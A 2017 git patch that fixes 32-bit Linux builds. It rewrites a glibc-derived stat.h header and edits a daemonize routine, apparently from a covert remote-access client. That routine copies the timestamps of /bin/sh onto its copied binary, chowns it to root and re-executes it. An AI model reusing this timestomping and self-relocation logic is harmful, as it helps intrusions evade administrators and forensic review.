From 86b1c2048453679a16eed4649ebee0ac82eb75fc Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Thu, 2 Mar 2017 13:36:03 +0200
Subject: [PATCH] Fix build/work in lin32 environment
---
client/sources-linux/compat/bits/stat.h | 142 +++++++-----------------
client/sources-linux/daemonize.c | 22 +++-
2 files changed, 57 insertions(+), 107 deletions(-)
diff --git a/client/sources-linux/compat/bits/stat.h b/client/sources-linux/compat/bits/stat.h
index e756d7e8..016a16bf 100644
--- a/client/sources-linux/compat/bits/stat.h
+++ b/client/sources-linux/compat/bits/stat.h
@@ -1,4 +1,4 @@
-/* Copyright (C) 1999,2000,2001,2002,2003 Free Software Foundation, Inc.
+/* Copyright (C) 1992, 1995-2001, 2002 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
@@ -20,159 +20,97 @@
# error "Never include directly; use instead."
#endif
-/* Versions of the `struct stat' data structure. */
-#define _STAT_VER_KERNEL 0
-
-#if __WORDSIZE == 32
-# define _STAT_VER_SVR4 2
-# define _STAT_VER_LINUX 3
-
-/* i386 versions of the `xmknod' interface. */
-# define _MKNOD_VER_LINUX 1
-# define _MKNOD_VER_SVR4 2
-# define _MKNOD_VER _MKNOD_VER_LINUX /* The bits defined below. */
-#else
-# define _STAT_VER_LINUX 1
-
-/* x86-64 versions of the `xmknod' interface. */
-# define _MKNOD_VER_LINUX 0
+#ifndef __timespec_defined
+#define __timespec_defined 1
+struct timespec
+ {
+ __time_t tv_sec;
+ long int tv_nsec;
+ };
#endif
+#undef __need_timespec
+
+/* Versions of the `struct stat' data structure. */
+#define _STAT_VER_LINUX_OLD 1
+#define _STAT_VER_KERNEL 1
+#define _STAT_VER_SVR4 2
+#define _STAT_VER_LINUX 3
+#define _STAT_VER _STAT_VER_LINUX /* The one defined below. */
+
+/* Versions of the `xmknod' interface. */
+#define _MKNOD_VER_LINUX 1
+#define _MKNOD_VER_SVR4 2
+#define _MKNOD_VER _MKNOD_VER_LINUX /* The bits defined below. */
-#define _STAT_VER _STAT_VER_LINUX
struct stat
{
- __dev_t st_dev; /* Device. */
-#if __WORDSIZE == 32
+ __dev_t st_dev; /* Device. */
unsigned short int __pad1;
-#endif
-#if __WORDSIZE == 64 || !defined __USE_FILE_OFFSET64
- __ino_t st_ino; /* File serial number. */
+#ifndef __USE_FILE_OFFSET64
+ __ino_t st_ino; /* File serial number. */
#else
__ino_t __st_ino; /* 32bit file serial number. */
#endif
-#if __WORDSIZE == 32
__mode_t st_mode; /* File mode. */
__nlink_t st_nlink; /* Link count. */
-#else
- __nlink_t st_nlink; /* Link count. */
- __mode_t st_mode; /* File mode. */
-#endif
- __uid_t st_uid; /* User ID of the file's owner. */
- __gid_t st_gid; /* Group ID of the file's group.*/
-#if __WORDSIZE == 64
- int pad0;
-#endif
- __dev_t st_rdev; /* Device number, if device. */
-#if __WORDSIZE == 32
+ __uid_t st_uid; /* User ID of the file's owner. */
+ __gid_t st_gid; /* Group ID of the file's group.*/
+ __dev_t st_rdev; /* Device number, if device. */
unsigned short int __pad2;
-#endif
-#if __WORDSIZE == 64 || !defined __USE_FILE_OFFSET64
+#ifndef __USE_FILE_OFFSET64
__off_t st_size; /* Size of file, in bytes. */
#else
__off64_t st_size; /* Size of file, in bytes. */
#endif
- __blksize_t st_blksize; /* Optimal block size for I/O. */
-#if __WORDSIZE == 64 || !defined __USE_FILE_OFFSET64
+ __blksize_t st_blksize; /* Optimal block size for I/O. */
+
+#ifndef __USE_FILE_OFFSET64
__blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */
#else
__blkcnt64_t st_blocks; /* Number 512-byte blocks allocated. */
#endif
-#ifdef __USE_MISC
- /* Nanosecond resolution timestamps are stored in a format
- equivalent to 'struct timespec'. This is the type used
- whenever possible but the Unix namespace rules do not allow the
- identifier 'timespec' to appear in the header.
- Therefore we have to handle the use of this header in strictly
- standard-compliant sources special. */
struct timespec st_atim; /* Time of last access. */
struct timespec st_mtim; /* Time of last modification. */
struct timespec st_ctim; /* Time of last status change. */
# define st_atime st_atim.tv_sec /* Backward compatibility. */
# define st_mtime st_mtim.tv_sec
# define st_ctime st_ctim.tv_sec
-#else
- __time_t st_atime; /* Time of last access. */
- unsigned long int st_atimensec; /* Nscecs of last access. */
- __time_t st_mtime; /* Time of last modification. */
- unsigned long int st_mtimensec; /* Nsecs of last modification. */
- __time_t st_ctime; /* Time of last status change. */
- unsigned long int st_ctimensec; /* Nsecs of last status change. */
-#endif
-#if __WORDSIZE == 64
- long int __unused[3];
-#else
-# ifndef __USE_FILE_OFFSET64
+#ifndef __USE_FILE_OFFSET64
unsigned long int __unused4;
unsigned long int __unused5;
-# else
+#else
__ino64_t st_ino; /* File serial number. */
-# endif
#endif
};
#ifdef __USE_LARGEFILE64
-/* Note stat64 has the same shape as stat for x86-64. */
struct stat64
{
- __dev_t st_dev; /* Device. */
-#if __WORDSIZE == 64
- __ino64_t st_ino; /* File serial number. */
- __nlink_t st_nlink; /* Link count. */
- __mode_t st_mode; /* File mode. */
-#else
+ __dev_t st_dev; /* Device. */
unsigned int __pad1;
+
__ino_t __st_ino; /* 32bit file serial number. */
__mode_t st_mode; /* File mode. */
__nlink_t st_nlink; /* Link count. */
-#endif
- __uid_t st_uid; /* User ID of the file's owner. */
- __gid_t st_gid; /* Group ID of the file's group.*/
-#if __WORDSIZE == 64
- int pad0;
- __dev_t st_rdev; /* Device number, if device. */
- __off_t st_size; /* Size of file, in bytes. */
-#else
+ __uid_t st_uid; /* User ID of the file's owner. */
+ __gid_t st_gid; /* Group ID of the file's group.*/
__dev_t st_rdev; /* Device number, if device. */
unsigned int __pad2;
__off64_t st_size; /* Size of file, in bytes. */
-#endif
- __blksize_t st_blksize; /* Optimal block size for I/O. */
- __blkcnt64_t st_blocks; /* Nr. 512-byte blocks allocated. */
-#ifdef __USE_MISC
- /* Nanosecond resolution timestamps are stored in a format
- equivalent to 'struct timespec'. This is the type used
- whenever possible but the Unix namespace rules do not allow the
- identifier 'timespec' to appear in the header.
- Therefore we have to handle the use of this header in strictly
- standard-compliant sources special. */
+ __blksize_t st_blksize; /* Optimal block size for I/O. */
+
+ __blkcnt64_t st_blocks; /* Number 512-byte blocks allocated. */
struct timespec st_atim; /* Time of last access. */
struct timespec st_mtim; /* Time of last modification. */
struct timespec st_ctim; /* Time of last status change. */
-# define st_atime st_atim.tv_sec /* Backward compatibility. */
-# define st_mtime st_mtim.tv_sec
-# define st_ctime st_ctim.tv_sec
-#else
- __time_t st_atime; /* Time of last access. */
- unsigned long int st_atimensec; /* Nscecs of last access. */
- __time_t st_mtime; /* Time of last modification. */
- unsigned long int st_mtimensec; /* Nsecs of last modification. */
- __time_t st_ctime; /* Time of last status change. */
- unsigned long int st_ctimensec; /* Nsecs of last status change. */
-#endif
-#if __WORDSIZE == 64
- long int __unused[3];
-#else
__ino64_t st_ino; /* File serial number. */
-#endif
};
#endif
/* Tell code we have these members. */
#define _STATBUF_ST_BLKSIZE
#define _STATBUF_ST_RDEV
-/* Nanosecond resolution time values are supported. */
-#define _STATBUF_ST_NSEC
/* Encoding of the file mode. */
diff --git a/client/sources-linux/daemonize.c b/client/sources-linux/daemonize.c
index 5de14975..42d812f3 100644
--- a/client/sources-linux/daemonize.c
+++ b/client/sources-linux/daemonize.c
@@ -1,12 +1,13 @@
#include
#include
-#include
#include
#include
#include
#include
#include
#include
+#include
+#include
#ifndef DEFAULT_MTIME_FROM
#define DEFAULT_MTIME_FROM "/bin/sh"
@@ -36,6 +37,14 @@
#define DEFAULT_SAFE_PATH "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"
#endif
+#ifndef __O_CLOEXEC
+# define __O_CLOEXEC 02000000
+#endif
+
+#ifndef O_CLOEXEC
+# define O_CLOEXEC __O_CLOEXEC
+#endif
+
#include "daemonize.h"
int daemonize(bool exit_parent) {
@@ -79,10 +88,12 @@ int daemonize(bool exit_parent) {
fchown(fd2, 0, 0);
if (_stat.st_mtime) {
- struct timespec ts[2] = {
- _stat.st_atim, _stat.st_mtim
+ struct utimbuf _times = {
+ .actime = _stat.st_atime,
+ .modtime = _stat.st_mtime,
};
- futimens(fd2, ts);
+
+ utime(move, &_times);
}
}
close(fd2);
@@ -122,9 +133,10 @@ int daemonize(bool exit_parent) {
}
fexecve(fd, argv, env);
-
/* We shouldn't be here */
close(fd);
+
+ execve(move? move:self, argv, env);
}
}